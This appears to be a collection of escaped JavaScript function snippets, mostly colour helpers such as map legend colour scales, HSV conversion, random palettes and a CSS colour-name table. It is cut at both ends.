whatDay(){\n\tvar currentDay = dateobj.getDay();\n\t\n\tif(currentDay==-1){currentDay=6;}\n\tif(currentDay==0){currentDay=6}\n\telse{currentDay=currentDay-1;}\n\t\n\tvar days = document.getElementsByClassName(\"day\");\n\t//iterates through all divs with a class of \"day\"\n\tfor (var x in days){\n\t\t//list of classes in current div\n\t\tvar classArr = days[x].classList;\n\t\t\n\t\t(classArr !== undefined) && ((x == currentDay) ? classArr.add(\"light-on\") : classArr.remove(\"light-on\"));\n\t}\n}", "function getColor(d){\n return d > 5 ? \"darkred\":\n d > 4 ? \"darkorange\":\n d > 3 ? \"orange\":\n d > 2 ? \"yellow\":\n d > 1 ? \"yellowgreen\":\n \"green\";\n }", "function getColor(d){\n return d > 5 ? \"#a54500\":\n d > 4 ? \"#FF0000\":\n d > 3 ? \"#ff6f08\":\n d > 2 ? \"#ff9143\":\n d > 1 ? \"#ffb37e\":\n \"#ffcca5\";\n }", "function getColor(d) {\n return d > 15 ? '#800026' :\n d > 14 ? '#BD0026' :\n d > 13 ? '#E31A1C' :\n d > 12 ? '#FC4E2A' :\n d > 11 ? '#FD8D3C' :\n d > 10 ? '#FEB24C' :\n d > 9 ? '#FED976' :\n '#FFEDA0';\n}", "function getColor(d)\n\t\t{\n\t\t\tvar fill=['#006837','#1a9850','#66bd63','#a6d96a','#d9ef8b','#ffffbf','#fee08b','#fdae61','#f46d43','d73027'];\n\t\t\tvar mid1 = min;\n\t\t\tvar blue=['#0281a1','#0fafd7','#68d9f5'];\n\t\t\tvar green =['#006837','#1a9850','#66bd63','#a6d96a'];\n\t\t\tvar red = ['#ffffbf','#fee08b','#fdae61','#f46d43','d73027'];\n\t\t\tvar mid2 = min+(max-min)*0.35;\n\t\t\tvar mid3 = min;\n\t\t\tif(d<mid1){return fill[0]}\n\t\t\tif(d>mid2){return fill[fill.length-1]}\n\t\t\tvar he = Math.floor((d-mid1)/(mid2-mid1)*fill.length)%fill.length;\n\t\t\treturn fill[he];\n\t\t}", "function InstaPalette()\n{\n var hue = Math.random() * (Math.PI * 2.0);\n var saturation = Math.random() * 0.75 + 0.25;\n var value = Math.random() * 0.75 + 0.25;\n var hueDelta = Math.random() * (Math.PI/4) + (Math.PI/4);\n var satDelta = Math.random() * 0.5 + 0.5;\n var valDelta = Math.random() * 0.5 + 0.5;\n \n this.leadCol = new Col();\n this.leadCol.SetHSVA(hue, saturation, value, 1);\n \n this.leadColDelta = function(h, s, l)\n {\n var result = new Col();\n \n result.SetHSVA(hue + h, saturation * s, value * l, 1);\n \n return result;\n }; \n \n this.leftCol = new Col();\n this.leftCol.SetHSVA(hue + hueDelta, saturation * satDelta, value * valDelta, 1);\n \n this.leftColDelta = function(h, s, l)\n {\n var result = new Col();\n \n result.SetHSVA(hue + hueDelta + h, saturation * s, value * l, 1);\n \n return result;\n };\n \n this.rightCol = new Col();\n this.rightCol.SetHSVA(hue - hueDelta, saturation * satDelta, value * valDelta, 1); \n \n this.rightColDelta = function(h, s, l)\n {\n var result = new Col();\n \n result.SetHSVA(hue - hueDelta + h, saturation * s, value * l, 1);\n \n return result;\n }; \n}", "function getColor(d) {\n\t\t\treturn d > 140000 ? '#800026' :\n\t\t\t d > 120000 ? '#BD0026' :\n\t\t\t d > 100000 ? '#E31A1C' :\n\t\t\t d > 80000 ? '#FC4E2A' :\n\t\t\t d > 60000 ? '#FD8D3C' :\n\t\t\t d > 40000 ? '#FEB24C' :\n\t\t\t d > 20000 ? '#FED916' :\n\t\t\t\t d > 10000 ? '#FEB14C' :\n\t\t\t d > 0 ? '#FED976' :\n\t\t\t '#FFEDA0';\n\t\t}", "function getColor(d) {\n return d < -2.68321 ? '#aa0000' : // darkest red\n d < -1.60993 ? '#b93d3d' : // second darkest red\n d < -0.65 ? '#c88686' : // light red 53665\n d < 0.65 ? '#d9d9d9' : // grey\n d < 1.60993 ? '#78add3' : // light blue\n d < 2.683212 ? '#5082af' : // Darker blue\n d < 900 ? '#2b5c8a' : // dark blue\n '#d9d9d9'; //grey\n \n}", "function color() {\n\tvar alpha = 0,\n\t\t s = 1,\n\t\t v = 1,\n\t\t c, h, x, r1, g1, b1, m,\n\t\t red, blue, green;\n\thue %= 360;\n\th = hue / 60;\n\tif (hue < 0) {\n\t hue += 360;\n\t}\n\tc = v * s;\n\th = hue / 60;\n\tx = c * (1 - Math.abs(h % 2 - 1));\n\tm = v - c;\n\tswitch (Math.floor(h)) {\n\t\tcase 0: r1 = c; g1 = x; b1 = 0; break;\n\t\tcase 1: r1 = x; g1 = c; b1 = 0; break;\n\t\tcase 2: r1 = 0; g1 = c; b1 = x; break;\n\t\t/*case 3: r1 = 0; g1 = x; b1 = c; break;\n\t\tcase 4: r1 = x; g1 = 0; b1 = c; break;\n\t\tcase 5: r1 = c; g1 = 0; b1 = x; break;*/\n\t}\n\tred = Math.floor((r1 + m) * 255);\n\tgreen = Math.floor((g1 + m) * 255);\n\tblue = Math.floor((b1 + m) * 255);\n\n // $(\".flashing-banner\").css('backgroundColor', 'rgba(' + red + ',' + green + ',' + blue + ',' + 1 + ')'); // commented on 21.10.17\n hue++;\n}", "function color7(v7) {\n v7 = v7.dataset.id;\n switch (v7) {\n // top: 103px; left: 210px\n\n case \"white\":\n ctx7.fillStyle = '#ffffff';\n break;\n\n case \"black\":\n ctx7.fillStyle = '#000000';\n break;\n\n case \"blue\":\n ctx7.fillStyle = '#0033ff';\n break;\n\n case \"red\":\n ctx7.fillStyle = '#ff0000';\n break;\n\n case \"navyblue\":\n ctx7.fillStyle = '#000066';\n break;\n\n case \"yellow\":\n ctx7.fillStyle = \"#ffff00\";\n break;\n\n case \"green\":\n ctx7.fillStyle = \"#009933\";\n break;\n\n case \"littleblue\":\n ctx7.fillStyle = \"#33ccff\";\n break;\n\n case \"orange\":\n ctx7.fillStyle = \"#ff9900\";\n break;\n }\n redrawTextsCan7();\n}", "function colorChange(){\n // 9AM color change\n if (currentTime > 9){\n $(\"#color9am\").addClass(\"past\");\n }else if (currentTime >= 9 && currentTime < 10) {\n $(\"#color9am\").addClass(\"present\");\n }else if (currentTime < 9) {\n $(\"#color9am\").addClass(\"future\");\n }\n\n // 10AM color change\n if (currentTime > 10){\n $(\"#color10am\").addClass(\"past\");\n }else if (currentTime >= 10 && currentTime < 11) {\n $(\"#color10am\").addClass(\"present\");\n }else if (currentTime < 10) {\n $(\"#color10am\").addClass(\"future\");\n }\n\n // 11AM color change\n if (currentTime > 11) {\n $(\"#color11am\").addClass(\"past\");\n } else if (currentTime >= 11 && currentTime < 12) {\n $(\"#color11am\").addClass(\"present\");\n } else if (currentTime < 11) {\n $(\"#color11am\").addClass(\"future\");\n }\n\n // 12PM color change\n if (currentTime > 12) {\n $(\"#color12pm\").addClass(\"past\");\n } else if (currentTime >= 12 && currentTime < 13) {\n $(\"#color12pm\").addClass(\"present\");\n } else if (currentTime < 12) {\n $(\"#color12pm\").addClass(\"future\");\n }\n\n // 1PM color change\n if (currentTime > 13) {\n $(\"#color1pm\").addClass(\"past\");\n } else if (currentTime >= 13 && currentTime < 14) {\n $(\"#color1pm\").addClass(\"present\");\n } else if (currentTime < 13) {\n $(\"#color1pm\").addClass(\"future\");\n }\n\n // 2PM color change\n if (currentTime > 14) {\n $(\"#color2pm\").addClass(\"past\");\n } else if (currentTime >= 14 && currentTime < 15) {\n $(\"#color2pm\").addClass(\"present\");\n } else if (currentTime < 14) {\n $(\"#color2pm\").addClass(\"future\");\n }\n\n // 3PM color change\n if (currentTime > 15) {\n $(\"#color3pm\").addClass(\"past\");\n } else if (currentTime >= 15 && currentTime < 16) {\n $(\"#color3pm\").addClass(\"present\");\n } else if (currentTime < 15) {\n $(\"#color3pm\").addClass(\"future\");\n }\n\n // 4PM color change\n if (currentTime > 16) {\n $(\"#color4pm\").addClass(\"past\");\n } else if (currentTime >= 16 && currentTime < 17) {\n $(\"#color4pm\").addClass(\"present\");\n } else if (currentTime < 16) {\n $(\"#color4pm\").addClass(\"future\");\n }\n\n // 5PM color change\n if (currentTime > 17) {\n $(\"#color5pm\").addClass(\"past\");\n } else if (currentTime >= 17 && currentTime < 18) {\n $(\"#color5pm\").addClass(\"present\");\n } else if (currentTime < 17) {\n $(\"#color5pm\").addClass(\"future\");\n }\n}", "function getClockColor() {\n var selectClockColor = [\"MediumSlateBlue\", \"PaleVioletRed\", \"SeaGreen\",\n \"Tan\", \"LightGray\", \"GoldenRod\"\n ];\n var theClockColor = selectClockColor[Math.floor(Math.random() * 6)];\n document.body.style.color = theClockColor;\n}", "function changeEveryColorToRed(colors) {\n}", "function getColor(d) {\n return d > 8.5 ? '#d73027' :\n d > 6.0 ? '#fc8d59' :\n d > 4.5 ? '#fee090' :\n d > 2.5 ? '#e0f3f8' :\n d > 1.0 ? '#91bfdb' :\n '#4575b4';\n}", "function color(n) {\r\n // rgb\r\n return `hsl(${n * quickcol * 360},100%,50%)`;\r\n // default\r\n return `hsl(${n * quickcol * 360},${20+n*quickcol*50}%,${n * quickcol * 100}%)`;\r\n // gray-scaled\r\n return `hsl(0, 0%, ${100 - n * quickcol * 100}%)`;\r\n}", "function getTowColor(d) {\n \n // [,,,,,,,,,,]\n // ['#a50026','#d73027','#f46d43','#fdae61','#fee08b','#ffffbf','#d9ef8b','#a6d96a','#66bd63','#1a9850','#006837']\n let color = '';\n if (d < 1) {\n color = '#006837';\n } else if (d < 2) {\n color ='#1a9850';\n } else if (d < 3) {\n color = '#66bd63';\n } else if (d < 4) {\n color = '#a6d96a';\n } else if (d < 6) {\n color = '#d9ef8b';\n } else if (d < 8) {\n color = '#ffffbf';\n } else if (d < 11) {\n color = '#fee08b';\n } else if (d < 15) {\n color = '#fdae61';\n } else if (d < 21) {\n color = '#f46d43';\n } else if (d < 31) {\n color = '#d73027';\n } else {\n color = '#a50026';\n }\n\n return color\n}", "function drawRainbow(e) {\n let R;\n let G;\n let B;\n let rgbExtract = extractRGB(e);\n if (e.target.style.backgroundColor === \"\") {\n e.target.style.backgroundColor = `rgb(${Math.round(Math.random()*255)},${Math.round(Math.random()*255)},${Math.round(Math.random()*255)})`;\n } else {\n //darkens divs that have already have color\n R = rgbExtract[0];\n G = rgbExtract[1];\n B = rgbExtract[2];\n e.target.style.backgroundColor = `rgb(${R*.7},${G*.7},${B*.7})`\n }\n \n}", "function computeColor(heat){\n\n /*\n var scaledForce = 50000 * heat;\n // clamp values to < 255\n if( Math.abs(scaledForce) > 255 ) {\n scaledForce = 255 * (scaledForce/Math.abs(scaledForce));\n }\n\n var ratio = 2 * (scaledForce+255) / 510;\n colors.b = ~~(Math.max(0, 255*(ratio - 1)));\n colors.r = ~~(Math.max(0, 255*(1 - ratio)));\n colors.g = 255 - colors.b - colors.r;\n */\n\n cycle+=0.1;\n if(cycle>100){\n cycle = 0;\n }\n colors.r = ~~(Math.sin(.3*cycle + 0) * 127+ 128);\n colors.g = ~~(Math.sin(.3*cycle + 2) * 127+ 128);\n colors.b = ~~( Math.sin(.3*cycle + 4) * 127+ 128);\n}", "function applyColorScheme(ghostName, color) {\n switch (color) {\n case 'blue':\n document.getElementById(ghostName).style.backgroundColor = '#0B24FB';\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.leftEyeball').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.rightEyeball').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.mouth').style.borderColor = '#FFF';\n document.getElementById(ghostName + '.mouth1').style.borderColor = '#FFF';\n break;\n case 'normal':\n document.getElementById(ghostName).style.backgroundColor = getComputedStyle(document.documentElement).getPropertyValue('--' + ghostName + 'Color');\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = '#305198';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = '#305198';\n document.getElementById(ghostName + '.leftEyeball').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.rightEyeball').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.mouth').style.borderColor = 'transparent';\n document.getElementById(ghostName + '.mouth1').style.borderColor = 'transparent';\n break;\n case 'eyes':\n document.getElementById(ghostName).style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = '#305198';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = '#305198';\n document.getElementById(ghostName + '.leftEyeball').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.rightEyeball').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.mouth').style.borderColor = 'transparent';\n document.getElementById(ghostName + '.mouth1').style.borderColor = 'transparent';\n break;\n case 'transparent':\n document.getElementById(ghostName).style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.leftEyeball').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.rightEyeball').style.backgroundColor = 'transparent';\n document.getElementById(ghostName + '.mouth').style.borderColor = 'transparent';\n document.getElementById(ghostName + '.mouth1').style.borderColor = 'transparent';\n break;\n case 'flash red':\n document.getElementById(ghostName).style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = '#FE2502';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = '#FE2502';\n document.getElementById(ghostName + '.mouth').style.borderColor = '#FE2502';\n document.getElementById(ghostName + '.mouth1').style.borderColor = '#FE2502';\n break;\n case 'flash blue':\n document.getElementById(ghostName).style.backgroundColor = '#0B24FB';\n document.getElementById(ghostName + '.leftEye').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.rightEye').style.backgroundColor = '#FFF';\n document.getElementById(ghostName + '.mouth').style.borderColor = '#FFF';\n document.getElementById(ghostName + '.mouth1').style.borderColor = '#FFF';\n break;\n }\n }", "CalcStyle() {\n\t\tconst diff = this.DiffinDays();\n\t\tif (diff <= 1) {\n\t\t\treturn 'item_red';\n\t\t}\n\t\tif (diff <= 3) {\n\t\t\treturn 'item_yellow';\n\t\t} else {\n\t\t\treturn 'item_green';\n\t\t}\n\t}", "function morning(){\n\tTweenMax.to('#clock', 1, {color:\"#000000\", ease:Power3.easeOut});\n\tTweenMax.to(\"body\", 3, {backgroundImage:\"linear-gradient(to top, #FBD63F, #FB903F)\"});\n}", "function chooseColor(d) {\n switch (true) {\n case (d > 85):\n return \"#c60f00\";\n case (d > 75 ):\n return \"#ed8700\" ;\n case (d > 65):\n return \"#ffa329\";\n case (d > 55):\n return \"#ffc577\";\n case (d> 35):\n return \"#90eff7\"; \n case (d < 15):\n return \"#b5f4fa\"; \n //default:\n // return \"#b5f4fa\";\n }\n }", "function getColor(d) {\n return d === '0 - 1' ? \"green\" :\n d === '1 - 2' ? \"#daf7a6\" :\n d === '2 - 3' ? \"yellow\" :\n d === '3 - 4' ? \"#ffd133\" :\n d === '4 - 5' ? \"orange\" :\n \"red\";\n }", "function getColor(d) {\n\t\treturn d > 5550000 ? '#800026' :\n\t\t\t d > 5555000 ? '#BD0026' :\n\t\t\t d > 5560000 ? '#E31A1C' :\n\t\t\t d > 5556500 ? '#FC4E2A' :\n\t\t\t d > 5570000 ? '#FD8D3C' :\n\t\t\t d > 5575000 ? '#FEB24C' :\n\t\t\t d > 5580000 ? '#FED976' :\n\t\t\t\t\t\t\t '#FFEDA0';\n\t}", "function setRandoColors(){\n\tc1 = makeHex(); // execute function twice for right and left gradients\n\tc2 = makeHex();\n\tconsole.log(c1, c2)\n\tcolor1.value = c1; // set values for backgrounds\n\tcolor2.value = c2;\n\tsetGradient() // call function to set background color\n}", "function highcharts_color_set (base) {\n var colors = [];\n colors.push(Highcharts.Color(base).get());\n for (var i = 0; i < 9; i ++) {\n colors.push(Highcharts.Color(base).brighten((i - 3) / 14).get());\n }\n return colors;\n }", "function dualColor (){\n \n\tcounter += 1;\n\tdocument.getElementById('model__baseC').getAttribute('color');\n\tswitch (counter) {\n\t\tcase 1:\n\t\tdocument.getElementById('model__baseC').setAttribute('color', '0.4627 0.4627 0.4627 0.3549 0.3549 0.3549');\n\t\t\t\n\t\t\tbreak;\n\t\tcase 2:\n\t\tdocument.getElementById('model__baseC').setAttribute('color', '0.003922 0.1255 0.3059 0.1294 0.1294 0.1294');\n\t\t\tbreak;\n\t\tcase 3:\n\t\tdocument.getElementById('model__baseC').setAttribute('color', '0.2549 -0.5529 -0.5529 0.1294 0.1294 0.1294');\n\t\t\tbreak;\n\n\t\t\tcase 4:\n\t\tdocument.getElementById('model__baseC').setAttribute('color', '0.003922 0.5333 0.4275 0.1725 0.04314 0.09412');\n\t\t\tbreak;\n\n\t\tcase 5:\n\t\t\tcounter = 0;\n\t\t\tdocument.getElementById('model__baseC').setAttribute('color', '0.003922 0.003922 0.003922 0.1294 0.1294 0.1294');\n\t\t\tbreak;\n\t}\n\t\t\t\n\n}", "function getColor(d) {\n return d === 0 ? \"green\" :\n d === 5 ? \"greenyellow\" :\n d === 10 ? \"yellow\" :\n d === 15 ? \"orange\" :\n d === 20 ? \"darkorange\" :\n d === 25 ? \"coral\" :\n d === 30 ? \"red\" :\n \"red\";\n}", "function color() {\n var map = {\n \"black\" : [ 0/255,0/255,0/255 ],\n \"silver\": [ 192/255,192/255,192/255 ],\n \"gray\" : [ 128/255,128/255,128/255 ],\n \"white\" : [ 255/255,255/255,255/255 ],\n \"maroon\": [ 128/255,0/255,0/255 ],\n \"red\" : [ 255/255,0/255,0/255 ],\n \"purple\": [ 128/255,0/255,128/255 ],\n \"fuchsia\": [ 255/255,0/255,255/255 ],\n \"green\" : [ 0/255,128/255,0/255 ],\n \"lime\" : [ 0/255,255/255,0/255 ],\n \"olive\" : [ 128/255,128/255,0/255 ],\n \"yellow\": [ 255/255,255/255,0/255 ],\n \"navy\" : [ 0/255,0/255,128/255 ],\n \"blue\" : [ 0/255,0/255,255/255 ],\n \"teal\" : [ 0/255,128/255,128/255 ],\n \"aqua\" : [ 0/255,255/255,255/255 ],\n \"aliceblue\" : [ 240/255,248/255,255/255 ],\n \"antiquewhite\" : [ 250/255,235/255,215/255 ],\n \"aqua\" : [ 0/255,255/255,255/255 ],\n \"aquamarine\" : [ 127/255,255/255,212/255 ],\n \"azure\" : [ 240/255,255/255,255/255 ],\n \"beige\" : [ 245/255,245/255,220/255 ],\n \"bisque\" : [ 255/255,228/255,196/255 ],\n \"black\" : [ 0/255,0/255,0/255 ],\n \"blanchedalmond\" : [ 255/255,235/255,205/255 ],\n \"blue\" : [ 0/255,0/255,255/255 ],\n \"blueviolet\" : [ 138/255,43/255,226/255 ],\n \"brown\" : [ 165/255,42/255,42/255 ],\n \"burlywood\" : [ 222/255,184/255,135/255 ],\n \"cadetblue\" : [ 95/255,158/255,160/255 ],\n \"chartreuse\" : [ 127/255,255/255,0/255 ],\n \"chocolate\" : [ 210/255,105/255,30/255 ],\n \"coral\" : [ 255/255,127/255,80/255 ],\n \"cornflowerblue\" : [ 100/255,149/255,237/255 ],\n \"cornsilk\" : [ 255/255,248/255,220/255 ],\n \"crimson\" : [ 220/255,20/255,60/255 ],\n \"cyan\" : [ 0/255,255/255,255/255 ],\n \"darkblue\" : [ 0/255,0/255,139/255 ],\n \"darkcyan\" : [ 0/255,139/255,139/255 ],\n \"darkgoldenrod\" : [ 184/255,134/255,11/255 ],\n \"darkgray\" : [ 169/255,169/255,169/255 ],\n \"darkgreen\" : [ 0/255,100/255,0/255 ],\n \"darkgrey\" : [ 169/255,169/255,169/255 ],\n \"darkkhaki\" : [ 189/255,183/255,107/255 ],\n \"darkmagenta\" : [ 139/255,0/255,139/255 ],\n \"darkolivegreen\" : [ 85/255,107/255,47/255 ],\n \"darkorange\" : [ 255/255,140/255,0/255 ],\n \"darkorchid\" : [ 153/255,50/255,204/255 ],\n \"darkred\" : [ 139/255,0/255,0/255 ],\n \"darksalmon\" : [ 233/255,150/255,122/255 ],\n \"darkseagreen\" : [ 143/255,188/255,143/255 ],\n \"darkslateblue\" : [ 72/255,61/255,139/255 ],\n \"darkslategray\" : [ 47/255,79/255,79/255 ],\n \"darkslategrey\" : [ 47/255,79/255,79/255 ],\n \"darkturquoise\" : [ 0/255,206/255,209/255 ],\n \"darkviolet\" : [ 148/255,0/255,211/255 ],\n \"deeppink\" : [ 255/255,20/255,147/255 ],\n \"deepskyblue\" : [ 0/255,191/255,255/255 ],\n \"dimgray\" : [ 105/255,105/255,105/255 ],\n \"dimgrey\" : [ 105/255,105/255,105/255 ],\n \"dodgerblue\" : [ 30/255,144/255,255/255 ],\n \"firebrick\" : [ 178/255,34/255,34/255 ],\n \"floralwhite\" : [ 255/255,250/255,240/255 ],\n \"forestgreen\" : [ 34/255,139/255,34/255 ],\n \"fuchsia\" : [ 255/255,0/255,255/255 ],\n \"gainsboro\" : [ 220/255,220/255,220/255 ],\n \"ghostwhite\" : [ 248/255,248/255,255/255 ],\n \"gold\" : [ 255/255,215/255,0/255 ],\n \"goldenrod\" : [ 218/255,165/255,32/255 ],\n \"gray\" : [ 128/255,128/255,128/255 ],\n \"green\" : [ 0/255,128/255,0/255 ],\n \"greenyellow\" : [ 173/255,255/255,47/255 ],\n \"grey\" : [ 128/255,128/255,128/255 ],\n \"honeydew\" : [ 240/255,255/255,240/255 ],\n \"hotpink\" : [ 255/255,105/255,180/255 ],\n \"indianred\" : [ 205/255,92/255,92/255 ],\n \"indigo\" : [ 75/255,0/255,130/255 ],\n \"ivory\" : [ 255/255,255/255,240/255 ],\n \"khaki\" : [ 240/255,230/255,140/255 ],\n \"lavender\" : [ 230/255,230/255,250/255 ],\n \"lavenderblush\" : [ 255/255,240/255,245/255 ],\n \"lawngreen\" : [ 124/255,252/255,0/255 ],\n \"lemonchiffon\" : [ 255/255,250/255,205/255 ],\n \"lightblue\" : [ 173/255,216/255,230/255 ],\n \"lightcoral\" : [ 240/255,128/255,128/255 ],\n \"lightcyan\" : [ 224/255,255/255,255/255 ],\n \"lightgoldenrodyellow\" : [ 250/255,250/255,210/255 ],\n \"lightgray\" : [ 211/255,211/255,211/255 ],\n \"lightgreen\" : [ 144/255,238/255,144/255 ],\n \"lightgrey\" : [ 211/255,211/255,211/255 ],\n \"lightpink\" : [ 255/255,182/255,193/255 ],\n \"lightsalmon\" : [ 255/255,160/255,122/255 ],\n \"lightseagreen\" : [ 32/255,178/255,170/255 ],\n \"lightskyblue\" : [ 135/255,206/255,250/255 ],\n \"lightslategray\" : [ 119/255,136/255,153/255 ],\n \"lightslategrey\" : [ 119/255,136/255,153/255 ],\n \"lightsteelblue\" : [ 176/255,196/255,222/255 ],\n \"lightyellow\" : [ 255/255,255/255,224/255 ],\n \"lime\" : [ 0/255,255/255,0/255 ],\n \"limegreen\" : [ 50/255,205/255,50/255 ],\n \"linen\" : [ 250/255,240/255,230/255 ],\n \"magenta\" : [ 255/255,0/255,255/255 ],\n \"maroon\" : [ 128/255,0/255,0/255 ],\n \"mediumaquamarine\" : [ 102/255,205/255,170/255 ],\n \"mediumblue\" : [ 0/255,0/255,205/255 ],\n \"mediumorchid\" : [ 186/255,85/255,211/255 ],\n \"mediumpurple\" : [ 147/255,112/255,219/255 ],\n \"mediumseagreen\" : [ 60/255,179/255,113/255 ],\n \"mediumslateblue\" : [ 123/255,104/255,238/255 ],\n \"mediumspringgreen\" : [ 0/255,250/255,154/255 ],\n \"mediumturquoise\" : [ 72/255,209/255,204/255 ],\n \"mediumvioletred\" : [ 199/255,21/255,133/255 ],\n \"midnightblue\" : [ 25/255,25/255,112/255 ],\n \"mintcream\" : [ 245/255,255/255,250/255 ],\n \"mistyrose\" : [ 255/255,228/255,225/255 ],\n \"moccasin\" : [ 255/255,228/255,181/255 ],\n \"navajowhite\" : [ 255/255,222/255,173/255 ],\n \"navy\" : [ 0/255,0/255,128/255 ],\n \"oldlace\" : [ 253/255,245/255,230/255 ],\n \"olive\" : [ 128/255,128/255,0/255 ],\n \"olivedrab\" : [ 107/255,142/255,35/255 ],\n \"orange\" : [ 255/255,165/255,0/255 ],\n \"orangered\" : [ 255/255,69/255,0/255 ],\n \"orchid\" : [ 218/255,112/255,214/255 ],\n \"palegoldenrod\" : [ 238/255,232/255,170/255 ],\n \"palegreen\" : [ 152/255,251/255,152/255 ],\n \"paleturquoise\" : [ 175/255,238/255,238/255 ],\n \"palevioletred\" : [ 219/255,112/255,147/255 ],\n \"papayawhip\" : [ 255/255,239/255,213/255 ],\n \"peachpuff\" : [ 255/255,218/255,185/255 ],\n \"peru\" : [ 205/255,133/255,63/255 ],\n \"pink\" : [ 255/255,192/255,203/255 ],\n \"plum\" : [ 221/255,160/255,221/255 ],\n \"powderblue\" : [ 176/255,224/255,230/255 ],\n \"purple\" : [ 128/255,0/255,128/255 ],\n \"red\" : [ 255/255,0/255,0/255 ],\n \"rosybrown\" : [ 188/255,143/255,143/255 ],\n \"royalblue\" : [ 65/255,105/255,225/255 ],\n \"saddlebrown\" : [ 139/255,69/255,19/255 ],\n \"salmon\" : [ 250/255,128/255,114/255 ],\n \"sandybrown\" : [ 244/255,164/255,96/255 ],\n \"seagreen\" : [ 46/255,139/255,87/255 ],\n \"seashell\" : [ 255/255,245/255,238/255 ],\n \"sienna\" : [ 160/255,82/255,45/255 ],\n \"silver\" : [ 192/255,192/255,192/255 ],\n \"skyblue\" : [ 135/255,206/255,235/255 ],\n \"slateblue\" : [ 106/255,90/255,205/255 ],\n \"slategray\" : [ 112/255,128/255,144/255 ],\n \"slategrey\" : [ 112/255,128/255,144/255 ],\n \"snow\" : [ 255/255,250/255,250/255 ],\n \"springgreen\" : [ 0/255,255/255,127/255 ],\n \"steelblue\" : [ 70/255,130/255,180/255 ],\n \"tan\" : [ 210/255,180/255,140/255 ],\n \"teal\" : [ 0/255,128/255,128/255 ],\n \"thistle\" : [ 216/255,191/255,216/255 ],\n \"tomato\" : [ 255/255,99/255,71/255 ],\n \"turquoise\" : [ 64/255,224/255,208/255 ],\n \"violet\" : [ 238/255,130/255,238/255 ],\n \"wheat\" : [ 245/255,222/255,179/255 ],\n \"white\" : [ 255/255,255/255,255/255 ],\n \"whitesmoke\" : [ 245/255,245/255,245/255 ],\n \"yellow\" : [ 255/255,255/255,0/255 ],\n \"yellowgreen\" : [ 154/255,205/255,50/255 ] };\n\n var o, i = 1, a = arguments, c = a[0], alpha;\n\n if(a[0].length<4 && (a[i]*1-0)==a[i]) { alpha = a[i++]; } // first argument rgb (no a), and next one is numeric?\n if(a[i].length) { a = a[i], i = 0; } // next arg an array, make it our main array to walk through\n if(typeof c == 'string')\n c = map[c.toLowerCase()];\n if(alpha!==undefined)\n c = c.concat(alpha);\n for(o=a[i++]; i<a.length; i++) {\n o = o.union(a[i]);\n }\n return o.setColor(c);\n}", "function thisColor(i) { \n colors = ['#001f3f', '#0074D9', '#B10DC9', '#AAAAAA', '#39CCCC', '#FFDC00', '#FF851B', \n '#01FF70', '#F012BE', '#7FDBFF', '#3D9970', '#85144b', '#2ECC40', '##FF4136', '#F012BE', \n \"#3366cc\", \"#dc3912\", \"#ff9900\"];\n\n cc = d3.scaleLinear()\n .domain([-2, 17])\n .range([1, 0]);\n\n return d3.interpolateSpectral(cc(i));\n}", "function getColor(d) {\n\n // Correct for null values\n if( d == \"\" || d == null ){ return grayColor; }\n\n // Divide by interval_width for id of color bin\n d = Math.floor( d / self.interval_width );\n\n if( d < 8 ){\n return colors[d];\n } else {\n // All numbers beyond the last bin go in the last bin\n return colors[colors.length - 1]; // last color\n }\n }", "function seasonToColour(season) {\n switch (season) {\n case 0:\n return \"winter\";\n case 1:\n return \"spring\";\n case 2:\n return \"summer\";\n case 3:\n return \"autumn\";\n default:\n return \"black\";\n }\n}", "function colorForCurrent(){\n\n}", "function colorOptions (dificuldade) {\n\tfor (var i = 0 ; i<dificuldade;i++){\n\t\tcolorPick = colorGeneration();\n\t\tcolors[i].style.background = \"rgb(\"+colorPick[0]+\", \"+colorPick[1]+\", \"+colorPick[2]+\")\";\n\t}\n\tfor (var j = dificuldade; j< colors.length; j++){\n\t\tcolors[j].style.background = \"#232323\";\n\t}\n}", "function getColor(d) {\r\n return d <= 59 ? '#31a354' :\r\n d >= 60 & d <= 84 ? '#FED976' :\r\n d >= 85 ? '#E31A1C' :\r\n 'rgba(56,48,31,0.47)';\r\n}", "function getColor(d) {\r\n return d == \"Major injury\" ? '#FFA300' :\r\n d == \"Fatal\" ? '#D6301D' :\r\n '#FF9900';\r\n}", "get dryColor() {}", "function updateNight() {\n night = settings.get('user/general/@skin').indexOf('dark') !== -1;\n tabManager.getTabs().forEach(function(tab) {\n if (tab.path && tab.editor.ace && tab.editorType === 'ace') {\n // Toggle all existing sessions\n tab.editor.ace._dropletEditor.sessions.forEach(function(session) {\n console.log('Updating session', session.tree.stringify());\n session.views.forEach(function(view) {\n view.opts.invert = night;\n var target_colors = (night ? NIGHT_COLORS : DAY_COLORS);\n for (key in target_colors) {\n view.opts.colors[key] = target_colors[key];\n }\n view.clearCache();\n });\n });\n // Rerender current session\n tab.editor.ace._dropletEditor.updateNewSession(tab.editor.ace._dropletEditor.session);\n }\n });\n // Update default for new creations\n for (var mode in OPT_MAP) {\n OPT_MAP[mode].viewSettings.invert = night;\n var target_colors = (night ? NIGHT_COLORS : DAY_COLORS);\n for (key in target_colors) {\n OPT_MAP[mode].viewSettings.colors[key] = target_colors[key];\n }\n }\n }", "function timesForDay(day, sunTimes) {\n\tvar sun = sunTimes(52.22, 5.15)\n\tvar repr = dateRepr(day)\n\tvar start = startTime(day, sun)\n\tvar end = endTime(day, sun)\n\treturn [\n\t\t/*['your_light', true, \"sunset \" + repr, start],\n\t\t ['your_light', false, \"night \" + repr, end] */]}", "function 